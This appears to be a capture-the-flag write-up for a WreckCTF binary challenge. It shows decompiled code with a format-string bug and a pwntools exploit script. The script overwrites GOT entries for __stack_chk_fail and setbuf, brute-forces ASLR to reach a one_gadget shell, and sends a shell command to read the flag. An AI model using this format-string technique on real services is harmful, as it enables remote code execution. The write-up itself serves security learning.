1004011d6 int32_t main(int32_t argc, char** argv, char** envp)2
3004011e5 void* fsbase4004011e5 int64_t rax = *(fsbase + 0x28)500401203 setbuf(fp: stdout, buf: nullptr)600401226 fwrite(buf: "What will we accomplish during t…", size: 1, count: 0x2c, fp: stdout)700401241 void var_218800401241 fgets(buf: &var_218, n: 0x100, fp: stdin)90040125f void s100040125f sprintf(s: &s, format: &var_218, &var_218)110040126e puts(str: "Great! Let's get to work.")120040127c *(fsbase + 0x28)1300401285 if (rax == *(fsbase + 0x28))140040128d return 01500401287 __stack_chk_fail()1600401287 noreturn
The simplest solution is just pick a fitting location and call a one_gadget :) the setvbuf call works and by rewriting __stack_chk_fail
to _start
we can do a partial (three byte) overwrite to set it to another location in libc with only 12 ASLR-randomized bits. about 20 minutes later there was a flag in stdout lol
1#!/usr/bin/env python32
3from pwn import *4
5exe = ELF("chall_patched")6
7context.binary = exe8context.cyclic_size = 89
10def conn():11 if args.REMOTE:12 r = remote("wreckctf.com", 34426)13 else:14 if args.GDB:15 r = gdb.debug([exe.path],gdbscript="b *main+142\nc")16 else:17 r = process([exe.path])18
19 return r20
21
22def main():23 r = conn()24
25 # good luck pwning :)26
27 # got['__stack_chk_fail'] rewrite lsb from 0x40 to 0x1a for a ret gadget28
29
40 collapsed lines
30
31 payload_ret_main = flat({32 0x0:b"%240c%36$hhn" + b"%16c", # rewrite stack chk fail to _start33 40: b"C" *8,34 0x100-8: p64(exe.got['__stack_chk_fail'])[0:7],35 },length=255)36
37
38
39 # e7 = 23140 # ec = 23641 # f8 = 24842 payload_fix_setvbuf = flat({43 0x0:[44 b"%231c%36$hhn",45 b"%5c%35$hhn",46 b"%12c%34$hhn",47 b"%24c"48 ],49
50 0x100-24: p64(exe.got['setbuf']),51 0x100-16: p64(exe.got['setbuf']+1),52 0x100-8: p64(exe.got['setbuf']+2)[0:7],53 },length=255)54
55 r.send(payload_ret_main)56 r.send(payload_fix_setvbuf)57 time.sleep(0.1)58 r.sendline(b"grep flag *;exit;")59 print(r.recvall())60 r.close()61
62
63if __name__ == "__main__":64 main()65 if args.REMOTE:66 count = 067 while True:68 main()69 count += 1